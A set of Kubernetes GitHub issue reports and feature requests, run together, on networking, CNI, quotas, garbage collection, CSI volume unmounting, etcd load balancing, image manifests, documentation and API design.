e.g. hostports.\r   kube-proxy as a service driver is keeping doing so many low-level things, e.g. handle nodes with iptables forward drop which is configured by docker in recent versions. it would be better if cni plugins can handle it and make the network driver and service \ driver\  be closer to each other.\r \r   what you expected to happen  :\r \r we propose to migrate cni driver out of kubelet and run as a daemon, which can translate kubelet’s network rpc calls to cni apis. the primary motivation is to decouple cni from kubernetes.\r \r by doing this, we can\r \r - use kube-specific mechanisms to manage plugins  consistent with most other plugins .\r - move some more net configurations out of kubelet.\r - move the kubernetes network driver codes out of tree.\r - move portmap from kubenet to cni driver, which is one of sub-tasks of kubenet deprecation.\r - make kube-proxy focus on service proxy and keep it simple.\r - vector to move network plugins and service configurators  kube-proxy  closer together for more optimal setup. for example, there are places where kube-proxy could do better configuration if it had access to information that only the cni drivers know, e.g. the name that veth interfaces are given or the correct cidrs for pods on that node.\r \r we propose to abstract a explicit layer of network driver and run it as a grpc server since it puts less responsibility on network plugin writers to make something that is \ kubernetes specific\ .\r \r   design overview  :\r \r a new network driver will be introduced within kubernetes, say  kni . it is a daemon running in background and is responsible for capturing all the rpcs from kubelet and handle it or call cni plugin binaries. specifically, the api calls from the new  kni  network driver will be converted to corresponding grpcs via a unix domain socket on each node, which means we can deploy the  kni  network driver as daemonset.\r \r when the new network driver becomes mature, we can mark the  cni  network driver deprecated.\r \r   grpc interface  \r \r we just need to convert the functions in  networkplugin   interface  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/network/plugins.go l47-l76  to network plugins for the kubelet to gprcs. the grpc service might look like,\r \r    \r service cniservice {\r     // supportversion to check version support or not\r     // return true or false\r     rpc supportversion supportversionrequest  returns  supportversionresponse {}\r     // status to check cnidriver status, config synced/plugin capabilities\r     rpc status statusrequest  returns  statusresponse  {}\r     rpc setuppod setuppodrequest  returns  setuppodresponse  {}\r     rpc teardownpod teardownpodrequest  returns  teardownpodresponse  {}\r     ...\r }\r    \r \r   \r @thockin @dchen1107 @dcbw @caseydavenport @squeed  @freehan @yujuhong @bowei @jingax10 @lion-wei

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r resource is not released in resource quota when pod is deleted. \r step 1: check resource limit is full\r ! b1ce12ee-3f4b-11e8-8ec6-60d798660dde  https://user-images.githubusercontent.com/10266685/38969493-2ca38708-43c3-11e8-8e16-04fa080304da.png \r \r step 2: scale down deployment to 0, and pod is confirmed to be killed, but resource is not released\r \r ! e02b2e6a-3f4b-11e8-99fe-2eebd4f8b964  https://user-images.githubusercontent.com/10266685/38969522-4dcf9ac0-43c3-11e8-835e-4ae730333961.png \r \r so that i can not create the new resources due the quota exceed.\r \r   what you expected to happen  :\r when the pod was deleted, it means the resources was released, so the namespace should have available resource for new request.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : k8s 1.9.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : ubuntu 16.04\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   bug report  :\r \r   \r \r   what happened  :\r when i deleted the deployment and replicas via ruby client, the replica and deployment are gone but the pods is till there.\r \r    \r kubectl get replicaset | grep    \r kubectl get deploy | grep    \r kubectl get pod | grep    \r       1/1       running     0          2d\r    \r \r  replica sets   <kubeclient::replicaset metadata={:name=>\    \ , :namespace=>\ default\ , :selflink=>\ /apis/extensions/v1beta1/namespaces/default/replicasets/   \ , :uid=>\ 36209078-7bc3-11e8-a201-fa163e1a7ce3\ , :resourceversion=>\ 46810657\ , :generation=>1, :creationtimestamp=>\ 2018-06-29t17:38:19z\ , :labels=>{:app=>\    \ , :app_type=>\ sc\ , :  =>\    \ , :\ pod-template-hash\ =>\ 1607406036\ }, :annotations=>{:\ deployment.kubernetes.io/desired-replicas\ =>\ 1\ , :\ deployment.kubernetes.io/max-replicas\ =>\ 2\ , :\ deployment.kubernetes.io/revision\ =>\ 1\ }}, spec={:replicas=>1, :selector=>{:matchlabels=>{:app=>\    \ , :app_type=>\ sc\ , :  =>\    \ , :\ pod-template-hash\ =>\ 1607406036\ }}, :template=>{:metadata=>{:creationtimestamp=>nil, : .... restartpolicy=>\ always\ , :terminationgraceperiodseconds=>30, :dnspolicy=>\ clusterfirst\ , :securitycontext=>{}, :imagepullsecrets=> {:name=>\ internalpull\ } , :schedulername=>\ default-scheduler\ }}}, status={:replicas=>1, :fullylabeledreplicas=>1, :readyreplicas=>1, :availablereplicas=>1, :observedgeneration=>1}>  \r \r   what you expected to happen  :\r in kubernetes 1.10, i was expecting that even without setting cascade deletion, pods will be deleted during garbage collection.\r   how to reproduce it  as minimally and precisely as possible   :\r create a deployment and replica, delete them and the pod will remain there sometimes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  v1.10.5 : client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g. from /etc/os-release : centos linux 7\r - kernel: 3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux

containerd can't pull the image with the error  ailed: failed to pull image \ gcr.io/kubernetes-e2e-test-images/webhook:1.12v1\ : rpc error: code = unknown desc = failed to pull and unpack image \ gcr.io/kubernetes-e2e-test-images/webhook:1.12v1\ : failed commit on ref \ manifest-sha256:0d5afb2f4cf7f485e7ee4b94392d9f089102bc504f15fb889900a01db1e61bd8\ : \ manifest-sha256:0d5afb2f4cf7f485e7ee4b94392d9f089102bc504f15fb889900a01db1e61bd8\  failed size validation: 739 != 592 \r \r the reason is that the image is not correctly built. here is the top level manifest, in which the manifest size of amd64 manifest is   592  .\r    \r curl -h 'host:gcr.io' -h 'user-agent:go-http-client/1.1' -h 'accept:application/vnd.docker.distributiist.v2+json,  ' 'https://gcr.io/v2/kubernetes-e2e-test-images/webhook/manifests/sha256:c0600642095d80a4eca02b89fed6959d68c7118f5696b2f03d91f29b4e8bde8d'\r {\r    \ schemaversion\ : 2,\r    \ mediatype\ : \ application/vnd.docker.distribution.manifest.list.v2+json\ ,\r    \ manifests\ :  \r       {\r          \ mediatype\ : \ application/vnd.docker.distribution.manifest.v2+json\ ,\r          \ size\ : 592,\r          \ digest\ : \ sha256:0d5afb2f4cf7f485e7ee4b94392d9f089102bc504f15fb889900a01db1e61bd8\ ,\r          \ platform\ : {\r             \ architecture\ : \ amd64\ ,\r             \ os\ : \ linux\ \r          }\r       },\r       {\r          \ mediatype\ : \ application/vnd.docker.distribution.manifest.v2+json\ ,\r          \ size\ : 752,\r          \ digest\ : \ sha256:56dfc4c1ad8ad4e5628da68d7045eba5a00093d089e933b20b4687d4d4f0665c\ ,\r          \ platform\ : {\r             \ architecture\ : \ arm\ ,\r             \ os\ : \ linux\ \r          }\r       },\r       {\r          \ mediatype\ : \ application/vnd.docker.distribution.manifest.v2+json\ ,\r          \ size\ : 752,\r          \ digest\ : \ sha256:1b9726fd66cb9359fed379313569a1c5b3e17ec9e11f4865108be87203b0b6a3\ ,\r          \ platform\ : {\r             \ architecture\ : \ arm64\ ,\r             \ os\ : \ linux\ \r          }\r       },\r       {\r          \ mediatype\ : \ application/vnd.docker.distribution.manifest.v2+json\ ,\r          \ size\ : 752,\r          \ digest\ : \ sha256:7cf120f5b02bdd687e422cb22615bb0f12a8f27d426b87504edb5dbd995f7ca7\ ,\r          \ platform\ : {\r             \ architecture\ : \ ppc64le\ ,\r             \ os\ : \ linux\ \r          }\r       }\r     \r }\r    \r \r however, the actual size is   739  :\r    \r   curl -h 'host:gcr.io' -h 'user-agent:go-http-client/1.1' -h 'accept:application/vnd.docker.distribution.manifest.ist.v2+json,  ' 'https://gcr.io/v2/kubernetes-e2e-test-images/webhook/manifests/sha256:0d5afb2f4cf7f485e7ee4b94392d9f089102bc504f15fb889900a01db1e61bd8' | wc -c\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100   739  100   739    0     0   1785      0 --:--:-- --:--:-- --:--:--  1780\r 739\r    \r \r this is a similar problem with https://github.com/kubernetes/kubernetes/issues/65253. please do not use  docker manifest  to build the image.\r \r @kubernetes/sig-api-machinery-bugs \r /cc @dmcgowan

is this a bug report or feature request?:\r  \r   what happened  :\r trying to get the api-servers to discover my etcd quorum that's behind an nlb. currently for the --etcd-servers flag it expects the 3 ips in the form of https://-ip-:2379, for my configuration. i want to use https://<nlb-dns/cname>:2379 for that flag so i can use dynamic ips for my etcd machines since they will come up and go with different ips often. the only other threads i've found online end with the solution being enabling http2 on the lb but i've verified the nlb has enable_http = true and see it enabled in the meta data.\r \r   what you expected to happen  :\r i would expect this to work as from the master i can dig the nlb and see the members behind it, as well as them in the aws console. but here is a snippet from the api-server logs.\r \r e0810 21:13:56.126902       1 customresource_discovery_controller.go:155  timed out waiting for caches to sync\r i0810 21:13:56.126927       1 customresource_discovery_controller.go:156  shutting down discoverycontroller\r e0810 21:13:56.126946       1 controller_utils.go:1022  unable to sync caches for crd-autoregister controller\r e0810 21:13:56.126966       1 cache.go:35  unable to sync caches for availableconditioncontroller controller\r i0810 21:13:56.127028       1 naming_controller.go:278  shutting down namingconditioncontroller\r i0810 21:13:56.127060       1 serve.go:129  stopped listening on 127.0.0.1:8080\r i0810 21:13:56.127067       1 controller.go:90  shutting down openapi aggregationcontroller\r i0810 21:13:56.127114       1 serve.go:129  stopped listening on  :: :443\r i0810 21:13:56.127154       1 crd_finalizer.go:246  shutting down crdfinalizer\r e0810 21:13:56.127285       1 cache.go:35  unable to sync caches for apiserviceregistrationcontroller controller\r i0810 21:13:56.128019       1 crdregistration_controller.go:115  shutting down crd-autoregister controller\r i0810 21:13:56.129094       1 available_controller.go:266  shutting down availableconditioncontroller\r i0810 21:13:56.130181       1 apiservice_controller.go:116  shutting down apiserviceregistrationcontroller\r \r   how to reproduce it  as minimally and precisely as possible   :\r spin up the etcd quorum behind an nlb and replace the --etcd-servers flag with the nlb dns with port not ip:port of the machines in the cluster.\r 1  set up an etcd cluster.\r 2  configure a load balancer in front of the etcd cluster. for example, let the address of the load balancer be $lb.\r 3  start kubernetes api servers with the flag --etcd-servers=$lb:2379\r 4  see that the api-server can't start correctly.\r \r   anything else we need to know?  :\r nope but i have plenty more info on the situation, so ask away.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - os  e.g. from /etc/os-release :\r ubuntu 16.04\r - kernel  e.g.  uname -a  :\r 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r etcd v3\r etcdctl version: 3.2.7\r api version: 2\r

what happened  :\r \r trying to use  nodeport: 8080  and loadbalancer  with port 8080 , request to the loadbalancer ip go to the nodeport containers, ie:\r    \r curl loadbalancerip:8080\r => response from a nodeport pod\r    \r \r \r   what you expected to happen  :\r    \r curl loadbalancerip:8080\r => response from loadbalancer service pod\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kubectl apply -f https://raw.githubusercontent.com/google/metallb/v0.7.3/manifests/metallb.yaml\r \r kubectl apply -f - <<'eof'\r apiversion: v1\r kind: configmap\r metadata:\r   namespace: metallb-system\r   name: config\r data:\r   config: |\r     address-pools:\r     - name: tests-ip-space\r       protocol: layer2\r       addresses:\r       - 1.2.3.4/32\r eof\r \r kubectl apply -f - <<'eof'\r apiversion: apps/v1\r kind: daemonset\r metadata:\r   name: echoheaders-std-ds\r spec:\r   selector:\r     matchlabels:\r       app: echoheaders-std\r   template:\r     metadata:\r       labels:\r         app: echoheaders-std\r     spec:\r       containers:\r       - name: echoheaders\r         image: gcr.io/google_containers/echoserver:1.10\r         ports:\r         - name: http\r           containerport: 8080\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: echoheaders-std\r spec:\r   ports:\r   - name: http\r     port: 8080\r     protocol: tcp\r     targetport: 8080\r   selector:\r     app: echoheaders-std\r   type: loadbalancer\r   externaltrafficpolicy: cluster\r eof\r \r kubectl apply -f - <<'eof'\r apiversion: apps/v1\r kind: daemonset\r metadata:\r   name: echoheaders-hostport-ds\r spec:\r   selector:\r     matchlabels:\r       app: echoheaders-hostport\r   template:\r     metadata:\r       labels:\r         app: echoheaders-hostport\r     spec:\r       containers:\r       - name: echoheaders\r         image: gcr.io/google_containers/echoserver:1.10\r         ports:\r         - name: http\r           containerport: 8080\r           hostport: 8080\r eof\r    \r  you of course need to replace the ips \r \r   anything else we need to know?  :\r if i use  hostnetwork: true   after  kubectl delete svc/echoheaders-hostport-ds  \r    \r kubectl apply -f - <<'eof'\r apiversion: apps/v1\r kind: daemonset\r metadata:\r   name: echoheaders-hostnet-ds\r spec:\r   selector:\r     matchlabels:\r       app: echoheaders-hostnet\r   template:\r     metadata:\r       labels:\r         app: echoheaders-hostnet\r     spec:\r       hostnetwork: true\r       containers:\r       - name: echoheaders\r         image: gcr.io/google_containers/echoserver:1.10\r         ports:\r         - name: http\r           containerport: 8080\r eof\r    \r request to the loadbalancerip end up on a  echoheaders-std-   pod, which is what i expect\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r test cluster deployed with kubespray, kube-proxy: ipvs, cni: calico, centos 7.6\r \r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux kubespray1 3.10.0-957.1.3.el7.x86_64  1 smp thu nov 29 14:49:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r kubespray\r \r - others:\r not that i can think of\r \r 

\r   what would you like to be added  :\r add the pause container configuration to the cri protocol.\r \r   why is this needed  :\r in terms of configuration, it would be nice to have the used pause container and command in a clean state. when using different runtime engines it would be nice to populate this kind of configuration directly from the kubelet to the dedicated runtimes of the nodes.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r   pod called to get deleted\r   pod is stuck in terminating because cinder volume cannot get unmounted by kubelet/csi due to i/o error\r \r   what you expected to happen  :\r   pod called to get deleted\r   disk gets unmounted in host system on i/o error  by csi/kubelet \r   pod is terminated\r \r the pod successfully terminates as soon as we umount the two mountpoints manually, for example:\r    \r   mount | grep sdb\r /dev/sdb on /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/globalmount type xfs  rw,relatime,seclabel,attr2,inode64,noquota \r /dev/sdb on /var/lib/kubelet/pods/0cc35038-77bf-11e9-8554-fa163e0629eb/volumes/kubernetes.io~csi/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/mount type xfs  rw,relatime,seclabel,attr2,inode64,noquota \r   umount /dev/sdb\r   umount /dev/sdb\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r   create statefulset  gist  https://gist.github.com/chrischdi/39141aaf5fc3b2cb48200d216b5ce7b4 \r   detach cinder disk manually  to reproduce the problem, may be a race-condition   nova volume-detach \r   wait for disk to get i/o error on vm\r      \r     ls /var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/globalmount\r   ls: cannot access '/var/lib/kubelet/plugins/kubernetes.io/csi/pv/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/globalmount': input/output error\r      \r   call pod deletion  kubectl delete pod test-statefulset-0 \r   see kubelet log\r      \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : i0516 09:45:50.302839    2296 reconciler.go:181  operationexecutor.unmountvolume started for volume \ statefultestvol\   uniquename: \ kubernetes.io/csi/cinder.csi.openstack.org^519c8cd6-7637-4980-84c8-d7e748485888\   pod \ 0cc35038-77bf-11e9-8554-fa163e0629eb\   uid: \ 0cc35038-77bf-11e9-8554-fa163e0629eb\                               \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : i0516 09:45:50.303193    2296 reconciler.go:181  operationexecutor.unmountvolume started for volume \ default-token-xtqq4\   uniquename: \ kubernetes.io/secret/0cc35038-77bf-11e9-8554-fa163e0629eb-default-token-xtqq4\   pod \ 0cc35038-77bf-11e9-8554-fa163e0629eb\   uid: \ 0cc35038-77bf-11e9-8554-fa163e0629eb\                             \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : i0516 09:45:50.308541    2296 nsenter.go:173  failed to resolve symbolic links on /var/lib/kubelet/pods/0cc35038-77bf-11e9-8554-fa163e0629eb/volumes/kubernetes.io~csi/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/mount: exit status 1                                                                                                       \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : e0516 09:45:50.308581    2296 csi_mounter.go:377  kubernetes.io/csi: isdirmounted islikelynotmountpoint test failed for dir  /var/lib/kubelet/pods/0cc35038-77bf-11e9-8554-fa163e0629eb/volumes/kubernetes.io~csi/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/mount                                                                           \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : e0516 09:45:50.308595    2296 csi_mounter.go:301  kubernetes.io/csi: unmounter.teardown failed while checking mount status for dir  /var/lib/kubelet/pods/0cc35038-77bf-11e9-8554-fa163e0629eb/volumes/kubernetes.io~csi/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/mount : exit status 1                                                    \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : e0516 09:45:50.308689    2296 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/csi/cinder.csi.openstack.org^519c8cd6-7637-4980-84c8-d7e748485888\\\   \\\ 0cc35038-77bf-11e9-8554-fa163e0629eb\\\  \  failed. no retries permitted until 2019-05-16 09:45:50.808640105 +0000 utc m=+23790.554141809  durationbeforeretry 500ms . erro\r   r: \ unmountvolume.teardown failed for volume \\\ statefultestvol\\\   uniquename: \\\ kubernetes.io/csi/cinder.csi.openstack.org^519c8cd6-7637-4980-84c8-d7e748485888\\\   pod \\\ 0cc35038-77bf-11e9-8554-fa163e0629eb\\\   uid: \\\ 0cc35038-77bf-11e9-8554-fa163e0629eb\\\   : exit status 1\                                                                                                              \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : i0516 09:45:50.329621    2296 operation_generator.go:687  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/0cc35038-77bf-11e9-8554-fa163e0629eb-default-token-xtqq4\   outervolumespecname: \ default-token-xtqq4\   pod \ 0cc35038-77bf-11e9-8554-fa163e0629eb\   uid: \ 0cc35038-77bf-11e9-8554-fa163e0629eb\  . innervolumespec\r   name \ default-token-xtqq4\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \                                                                                                                                                                                                                                                                                                              \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : i0516 09:45:50.403827    2296 reconciler.go:301  volume detached for volume \ default-token-xtqq4\   uniquename: \ kubernetes.io/secret/0cc35038-77bf-11e9-8554-fa163e0629eb-default-token-xtqq4\   on node \ c04p008-kube-node01\  devicepath \ \                                                                                                 \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : i0516 09:45:50.907433    2296 reconciler.go:181  operationexecutor.unmountvolume started for volume \ statefultestvol\   uniquename: \ kubernetes.io/csi/cinder.csi.openstack.org^519c8cd6-7637-4980-84c8-d7e748485888\   pod \ 0cc35038-77bf-11e9-8554-fa163e0629eb\   uid: \ 0cc35038-77bf-11e9-8554-fa163e0629eb\                               \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : i0516 09:45:50.910958    2296 nsenter.go:173  failed to resolve symbolic links on /var/lib/kubelet/pods/0cc35038-77bf-11e9-8554-fa163e0629eb/volumes/kubernetes.io~csi/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/mount: exit status 1                                                                                                       \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : e0516 09:45:50.911008    2296 csi_mounter.go:377  kubernetes.io/csi: isdirmounted islikelynotmountpoint test failed for dir  /var/lib/kubelet/pods/0cc35038-77bf-11e9-8554-fa163e0629eb/volumes/kubernetes.io~csi/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/mount \r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : e0516 09:45:50.911023    2296 csi_mounter.go:301  kubernetes.io/csi: unmounter.teardown failed while checking mount status for dir  /var/lib/kubelet/pods/0cc35038-77bf-11e9-8554-fa163e0629eb/volumes/kubernetes.io~csi/pvc-fc52b5a4-77bc-11e9-8554-fa163e0629eb/mount : exit status 1\r   may 16 09:45:50 c04p008-kube-node01 docker 2263 : e0516 09:45:50.911125    2296 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/csi/cinder.csi.openstack.org^519c8cd6-7637-4980-84c8-d7e748485888\\\   \\\ 0cc35038-77bf-11e9-8554-fa163e0629eb\\\  \  failed. no retries permitted until 2019-05-16 09:45:51.911064257 +0000 utc m=+23791.656565964  durationbeforeretry 1s . error:\r   \ unmountvolume.teardown failed for volume \\\ statefultestvol\\\   uniquename: \\\ kubernetes.io/csi/cinder.csi.openstack.org^519c8cd6-7637-4980-84c8-d7e748485888\\\   pod \\\ 0cc35038-77bf-11e9-8554-fa163e0629eb\\\   uid: \\\ 0cc35038-77bf-11e9-8554-fa163e0629eb\\\   : exit status 1\ \r      \r   anything else we need to know?  :\r maybe nearly the same problem for flexvolume  67072 , fixed by  67097\r \r i don't really know the root-cause for this happening, there may be a race condition in csi to make an detached or re-attached disk appear on a node, without having umounted the disk in the actual host on kernel side.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r      \r   $ kubectl version                                                                                                                                    \r   server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.5\ , gitcommit:\ 2166946f41b36dea2c4626f90a77706f426cdea2\ , gittreestate:\ clean\ , builddate:\ 2019-04-15t07:49:29z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r kubelet version v1.13.5  same problem on v1.13.6 \r - cloud provider or hardware configuration:\r   openstack\r - os  e.g:  cat /etc/os-release  :\r   coreos 2023.5.0\r - kernel  e.g.  uname -a  : \r    linux c04p008-kube-node01 4.19.25-coreos  1 smp sat mar 9 01:05:06 -00 2019 x86_64 intel r  xeon r  cpu e5-2690 v4 @ 2.60ghz genuineintel gnu/linux \r - install tools:\r   - manual tooling\r   - running kubelet containerized\r - network plugin and version  if this is a network-related bug :\r - others:\r   - csi-attacher: docker://quay.io/k8scsi/csi-attacher:v1.0.1\ ,\r   - cinder-csi-plugin: docker.io/k8scloudprovider/cinder-csi-plugin:v1.14.0\r   - csi-node-driver-registrar: quay.io/k8scsi/csi-node-driver-registrar:v1.1.0\ ,\r   - csi-provisioner: quay.io/k8scsi/csi-provisioner:v1.0.1\r

kubectl/run.go has a todo in line 292, 133 which wants to  'abstract this logic so that multiple generators can handle env in the same way. same for parse envs.'  this changeset creates a common extractparams which shares the common parameter parsing logic for env and args.  it ensures none of the unit tests or system tests would be broken by this change.

it's obvious if you think about it, but not so difficult to forget, that the right port for a liveness or readiness probe is the port number that the container sees,   not   the one externally exposed.  i got into the wrong mindset and wasted lots of my time  and some of other people's  because of this. i'd even say that the existing documentation can unintentionally send people off in the wrong direction as it used port 80 in at least one place. i know from an erroneous bug report   24306  i filed that i wasn't the only person to run into this.  this is an enhancement request to the documentation to make this more clear in both the text and examples  a comment above the yaml port number should suffice there . i found at least  checking pod health  http://kubernetes.io/docs/user-guide/liveness/   application health checking  http://kubernetes.io/docs/user-guide/walkthrough/k8s201/ health-checking ,  v1.httpgetaction  http://kubernetes.io/docs/api-reference/batch/v1/definitions/ _v1_httpgetaction , and  v1.tcpsocketaction  http://kubernetes.io/docs/api-reference/batch/v1/definitions/ _v1_tcpsocketaction  that might benefit from this change.

there are a lot of workflow systems out there, which suggests that different people have different requirements and there is no perfect solution. as a result, there is reluctance to make  workflow  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/workflow.md  be a \ core\  api in kubernetes. on the other hand, workflow  or at least simple job pipelines  is a very important feature. so if workflow is not a core api object, we want there to be at least one trivial-to-install-and-use workflow controller, that integrates seamlessly with users' normal interaction with kubernetes. this issue is about how we can achieve that.  ideally, whatever approach we use here can be used for other api objects that may arise in the future, i.e. alternative workflow implementations and other important controllers that we don't want to be a core api object. creating a generic package manager is a non-goal--we're focusing here on functionality that runs as part of the kubernetes control plane, not applications you would run on top of kubernetes. we assume the functionality is expressed as a controller and a rest interface  offline @brendandburns suggested - controller runs in a pod on the user's cluster - user interacts with the controller via thirdpartyresource - the controller or something else running in the same pod as the controller is responsible for creating the relevant thirdpartyresource if it doesn't exist  so all the user would have to do to start using it is  kubectl run workflow-controller --image=xxx...  which would launch the controller and register the new type.  for key functionality like workflow, we could build a docker image for it with every kubernetes release  like we do for heapster , just to make sure it really is available and up-to-date. we should also integrate testing it into the cb, though iiuc we haven't really solved the cb-spanning-repos problem so if the code goes into contrib, this may not be possible initially, and we'd only test systematically as part of qualifying a release.  the only downsides i can see compared to a core api resource are 1. extra \ installation\  step, though it's just one line so hard to complain about that 2. kubectl won't have any native understanding of the resource   unless we somehow make kuebctl extensible at runtime , so  kubectl describe workflow   or whatever  couldn't pretty-print like we do for the \ core\  api objects   job  https://github.com/kubernetes/kubernetes/blob/ee2a0694b649941fc0c3be606746db041b75b91d/pkg/kubectl/describe.go l1092  etc. . 3. the testing issue i mentioned above, though that's a property of putting the code in contrib, not a property of the deployment approach  i assume auth won't be a problem, but thought i'd mention it anyway  the controller needs to be able to manager the user's other api resources .  cc/ @bgrant0607 @erictune @thockin @sdminonne   ref/  24781

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/16088/  failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 2 pods to 1 pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:100 expected error:     < errors.errorstring | 0xc820f6cae0>: {         s: \ only 1 pods started out of 2\ ,     }     only 1 pods started out of 2 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling_utils.go:345      previous issues for this test:  27196  28998  32403

i got the following message when using rbac to block user from deleting pods:\r    \r error from server  forbidden : user \ tom\  cannot delete pods in the namespace \ default\ .: \ <nil>\   delete pods nginx \r    \r which is not in a good format: the punctuations and the  <nil> .\r \r working on a patch to fix it.

per https://github.com/kubernetes/kubernetes/pull/41215 i'm updating our affinity pr to leverage flag-gates for affinity upon re-generation we get: \r \r    \r client-go has a forbidden dependency:\r \r k8s.io/client-go/pkg/api/v1 imports k8s.io/apiserver/pkg/util/feature\r k8s.io/client-go/pkg/features imports k8s.io/apiserver/pkg/features\r k8s.io/client-go/pkg/features imports k8s.io/apiserver/pkg/util/feature\r    \r \r but we are absolutely going to want this type of capability... my only question is where to put this feature-gates.  asked on slack... no answer. \r \r /cc @davidopp @kubernetes/sig-api-machinery-misc \r \r

